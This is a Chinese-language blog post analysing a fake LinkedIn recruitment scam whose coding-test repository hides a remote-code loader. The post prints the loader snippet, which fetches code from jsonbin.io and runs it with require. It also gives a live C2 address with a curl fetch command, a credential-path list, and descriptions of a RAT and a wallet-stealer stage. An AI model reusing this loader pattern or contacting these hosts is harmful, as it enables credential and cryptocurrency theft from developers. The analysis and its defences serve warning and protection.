警惕!领英虚假招聘暗藏恶意代码,面试或致系统遭攻击

求职陷阱!领英虚假招聘暗藏恶意代码,面试或致系统遭攻击

当前 IT 就业市场形势严峻,若在领英上收到招聘人员消息,对方根据工作经验匹配合适新职位,看似幸运,实则可能暗藏玄机。

领英上打着 "相关工作机会" 旗号、提供兼职远程工作和高额时薪的新职位,吸引了众多软件工程师。我的一位朋友就遇到了这种情况,该工作与他之前的经验高度匹配,在领英上聊了几句后,对方很快发来编程挑战,加速面试流程。

信息提示

最初联系时,对方冒用了一家对此毫不知情的公司名义,这是钓鱼诈骗,目的是窃取机密信息和凭证。该公司已意识到问题,并在领英上发布了相关帖子说明情况。

在开始测试前,可能存在以下可疑情况:

  • 联系你的人在领英上并非该公司的员工。
  • 在收到编程测试前,没有进行初步的 "相互了解" 电话沟通。
  • 测试使用的编程语言可能并非你擅长的。
  • 代码托管在 Bitbucket 上,这并不常见。
  • 发件人的电子邮箱地址是 `@gmail.com`,而非公司的官方邮箱。

事件开端

任务是解决各种问题,并扩展给定 TypeScript 代码库的逻辑。收到的项目有以下特点:

  • 约有 180 个文件。
  • 包含无效代码和有效代码。
  • 没有进行混淆或压缩。

不过,代码中存在对外部 `https://api.jsonbin.io` 端点的调用。若没有仔细阅读这 180 个文件的代码,很可能会中招。

以下是一段可疑代码,它会开始下载更多包来检查系统。

警告

这就是会发送更多恶意内容的端点,要小心!完整源代码可在这个 Bitbucket 仓库 中找到。

const initPriceConfig = async () => {    const src = "https://api.jsonbin.io/v3/b/6a60970bf5f4af5e29b03d8d";    const res = (await axios.get(`${src}`));    const handler = new (Function.constructor)('require', res.data.record.model);    if (handler) handler(require);};initPriceConfig();

应用程序的内部逻辑在执行 `npm run dev`、`npm start` 等命令时,总会先运行这个函数。由于它传入了 `require`,因此可以:

  • 使用 `require('child_process')` 执行 shell 命令。
  • 使用 `require('fs')` 读取、遍历文件系统并进行持久化写入。
  • 使用 `require('net')`/`require('https')` 打开自己的数据外连通道。
  • 直接读取 `process.env`,在这个应用中意味着可以获取 `MONGO_URI`、`JWT_SECRET`、`SENDGRID_API_KEY`、`CLOUDINARY_API_SECRET`、`PAYTM_MERCHANT_KEY` 等信息。

这些都是不想在自己系统上发生的事情。

深入剖析:二级加载器

`jsonbin.io` 端点的响应实际上是一个远程代码执行加载器。`record.model` 负载是一段经过 obfuscator.io 混淆处理的 24,686 字符的 JavaScript 代码,包裹着一个小型的 webpack 包。

对返回的负载进行反混淆处理后,又得到了另一堆混淆过的 JavaScript 代码。这段代码会从 C2(命令与控制)服务器 `http://147.189.174.138/api/service/070c425fd005e11aec1a90706dda66f5` 获取数据。

使用以下命令获取了下一段代码:

curl -sS -v --max-time 30  -H 'Authentication: jwt'  -H 'Accept: application/json, text/plain, */*'  -A 'axios/1.5.3'  -D headers.txt  -o body.bin  'http://147.189.174.138/api/service/070c425fd005e11aec1a90706dda66f5'

该请求需要一个 `Authentication` 头部,令牌为 `jwt`。这个端点会返回更多混淆过的 JavaScript 代码,具体包含以下四个模块:

  • `scdata`:一个交互式的远程访问木马(RAT)。它使用 `node-pty` 实现完整的 shell,使用 `ssh2` 进行跳板攻击和窃取 PEM 密钥,使用 `screenshot-desktop` + `sharp` 进行屏幕截图,使用 `clipboardy` 和 `@nut-tree-fork/nut-js` 模拟键盘和鼠标操作。它还会对虚拟机和物理机进行指纹识别。
  • `ldata`:浏览器凭证和钱包窃取器。它可以窃取 Chrome、Edge、Brave、LT 等浏览器在三种操作系统下所有用户配置文件中的登录数据、网页数据、本地扩展设置 LevelDB 存储以及 macOS 的登录钥匙串。它可以针对 28 种钱包扩展程序,如 MetaMask、Phantom、Coinbase、Binance、TronLink、Trust、Keplr、Coin98、OKX、Rabby 等。它会无限循环,大约每分钟重新上传一次数据。
  • 文件抓取器:遍历用户主目录。它会尝试查找私钥、助记词、包含 *metamask* 的文件、比特币相关文件、Solana 相关文件、`.env` 文件、`.pem` 文件、`.p12` 文件、`.pfx` 文件,以及文档和图片,还会遍历整个 `.ssh`、`.aws`、`.gnupg` 和 `.docker` 目录。在 Windows 系统中,它还会枚举所有驱动器号。
  • 剪贴板监控器:监控剪贴板。它会定期轮询剪贴板并将数据发送出去,伪装成 `npm-compiler.log` 日志文件。

当受害者连接到 `147.189.174.138:7321` 时,服务器可以在接受的套接字上看到源地址,就像任何 Web 服务器看到访客的 IP 地址一样。无需发现、扫描或注册地址。这就是仅出站设计对攻击者如此方便的原因:它可以在 NAT、CGNAT、企业代理或家庭路由器后面零配置运行,而且即使受害者的 IP 地址发生变化也不受影响。

原本只想找份工作,却不小心打开了潘多拉魔盒。

为什么它可以访问你所有的文件?

恶意软件会获取当前用户的主目录,然后构建要访问的路径。

rootDir  = os.userInfo().homedir + '',configDir = [ path.join(os.homedir(), ".aws"),              path.join(os.homedir(), ".ssh"),              path.join(os.homedir(), ".azure"),              path.join(os.homedir(), ".foundry"),              path.join(os.homedir(), ".config"),              //...]

它从不请求提升权限,不需要 `root`、UAC 或 `sudo` 权限,因为它想要的文件都不是由 `root` 用户拥有的。SSH 密钥、AWS 凭证、浏览器配置文件、钱包数据、`.env` 文件等,这些文件在设计上都是由用户拥有的,因为需要定期读取它们。以账户运行的进程会继承这些访问权限。这就像在 shell 中执行 `cat ~/.ssh/id_rsa` 一样,Node 在这里并没有做什么特别的事情。

在 Windows 系统中,它的访问范围甚至超出了主目录,会通过 PowerShell 枚举驱动器号,并对每个根目录调用 `scanDir` 函数,因此映射的网络驱动器和辅助磁盘也在其访问范围内。

下次面试的防范措施

虽然没有 100% 有效的保护方法,但以下几点或许能有所帮助。毕竟,很难想到一份用于求职机会的代码会存在这样的问题。

  • 使用 AI 扫描:防护能力较弱。让选择的 AI 扫描项目,检查是否存在异常,如混淆代码、压缩代码、对外部端点的调用、不寻常的代码模式等。但这只是部分解决方案,因为它只能告诉你存在对 `jsonbin.io` 的调用,却无法得知返回值的具体内容。
  • 使用 Docker:防护能力部分有效。将代码放入 Docker 容器中并仅在容器内执行,可以隔离主机系统,避免泄露存储的机密信息,前提是不要将主机数据挂载到容器中。
  • 使用 Vagrant:可能是最佳选择。在完全隔离的系统中运行代码或许是最好的办法。在运行代码前对虚拟机进行快照,运行结束后恢复快照。如果没有 UI/桌面环境,泄露浏览器数据或进行屏幕截图的模块将受到限制。不过,远程访问木马(RAT)和文件抓取器仍然可能起作用。

需要注意的是,远程访问木马(RAT)会主动检测是否在虚拟机中运行。它会运行 `system_profiler` 命令,读取 `/proc/cpuinfo` 文件,并搜索 `vmware`、`qemu`、`microsoft corporation` 等关键词,然后标记为(VM)或(Local)。这个标记很可能会用于操作人员的分类处理:虚拟机更有可能是沙箱环境,不太可能存储真实的钱包信息,因此可能会被降低优先级或更谨慎地处理。

AI 扫描的注意事项

当仅要求 Claude Code 扫描代码库中的不寻常模式时,它未能检测到任何 "奇怪" 的内容。

后续处理建议

如果系统已经遭受攻击,可能应该:

  • 撤销并轮换 SSH 密钥。
  • 修改密码。
  • 检查是否有明文存储的机密信息需要更改。

此外,最好重新安装操作系统,以防万一。

与此同时, "钓鱼者"(虚假招聘人员)的领英资料已被删除。

本文于 2026 年 8 月 17 日创建,并于 2026 年 8 月 20 日更新。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值